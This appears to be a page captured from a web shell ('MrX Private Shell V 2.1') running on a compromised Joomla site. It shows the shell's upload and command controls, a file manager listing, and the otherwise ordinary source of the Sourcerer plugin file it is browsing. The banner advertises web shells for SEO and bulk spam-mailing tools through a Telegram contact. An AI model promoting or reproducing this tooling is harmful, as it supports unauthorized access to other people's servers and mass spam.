__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package         Sourcerer
 * @version         10.0.4
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Extension as RL_Extension;
use RegularLabs\Library\Html as RL_Html;
use RegularLabs\Library\Protect as RL_Protect;
use RegularLabs\Library\SystemPlugin as RL_SystemPlugin;
use RegularLabs\Plugin\System\Sourcerer\Area;
use RegularLabs\Plugin\System\Sourcerer\Clean;
use RegularLabs\Plugin\System\Sourcerer\Params;
use RegularLabs\Plugin\System\Sourcerer\Protect;
use RegularLabs\Plugin\System\Sourcerer\Replace;
use RegularLabs\Plugin\System\Sourcerer\Security;

// Do not instantiate plugin on install pages
// to prevent installation/update breaking because of potential breaking changes
if (
    in_array(JFactory::getApplication()->input->getCmd('option'), ['com_installer', 'com_regularlabsmanager'])
    && JFactory::getApplication()->input->getCmd('action') != ''
)
{
    return;
}

if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/regularlabs.xml')
    || ! class_exists('RegularLabs\Library\Parameters')
    || ! class_exists('RegularLabs\Library\DownloadKey')
    || ! class_exists('RegularLabs\Library\SystemPlugin')
)
{
    JFactory::getLanguage()->load('plg_system_sourcerer', __DIR__);
    JFactory::getApplication()->enqueueMessage(
        JText::sprintf('SRC_EXTENSION_CAN_NOT_FUNCTION', JText::_('SOURCERER'))
        . ' ' . JText::_('SRC_REGULAR_LABS_LIBRARY_NOT_INSTALLED'),
        'error'
    );

    return;
}

if ( ! RL_Document::isJoomlaVersion(4, 'SOURCERER'))
{
    RL_Extension::disable('sourcerer', 'plugin');

    RL_Document::adminError(
        JText::sprintf('RL_PLUGIN_HAS_BEEN_DISABLED', JText::_('SOURCERER'))
    );

    return;
}

if (true)
{
    class PlgSystemSourcerer extends RL_SystemPlugin
    {
        public $_lang_prefix        = 'SRC';
        public $_can_disable_by_url = false;
        public $_jversion           = 4;

        protected function handleOnContentPrepare($area, $context, &$article, &$params, $page = 0)
        {
            $src_params = Params::get();

            $area = isset($article->created_by) ? 'articles' : 'other';

            $remove = $src_params->remove_from_search
                && in_array($context, ['com_search.search', 'com_search.search.article', 'com_finder.indexer']);


            if (isset($article->description))
            {
                Replace::replace($article->description, $area, $article, $remove);
            }

            if (isset($article->title))
            {
                Replace::replace($article->title, $area, $article, $remove);
            }

            // Don't handle article texts in category list view
            if (RL_Document::isCategoryList($context))
            {
                return false;
            }

            if (isset($article->text))
            {
                Replace::replace($article->text, $area, $article, $remove);

                // Don't also do stuff on introtext/fulltext if text is set
                return false;
            }

            if (isset($article->introtext))
            {
                Replace::replace($article->introtext, $area, $article, $remove);
            }

            if (isset($article->fulltext))
            {
                Replace::replace($article->fulltext, $area, $article, $remove);
            }

            return false;
        }

        protected function changeDocumentBuffer(&$buffer)
        {
            if ( ! RL_Document::isHtml())
            {
                return false;
            }

            return Area::tag($buffer, 'component');
        }

        protected function changeFinalHtmlOutput(&$html)
        {
            $params = Params::get();

            [$pre, $body, $post] = RL_Html::getBody($html);

            Protect::_($body);
            Replace::replaceInTheRest($body);

            Clean::cleanFinalHtmlOutput($body);
            RL_Protect::unprotect($body);

            $params->enable_in_head
                ? Replace::replace($pre, 'head')
                : Clean::cleanTagsFromHead($pre);

            $html = $pre . $body . $post;

            return true;
        }
    }
}

Filemanager

Name Type Size Permission Actions
language Folder 0775
src Folder 0775
script.install.php File 1.48 KB 0664
sourcerer.php File 4.41 KB 0664
sourcerer.xml File 11.07 KB 0664
Filemanager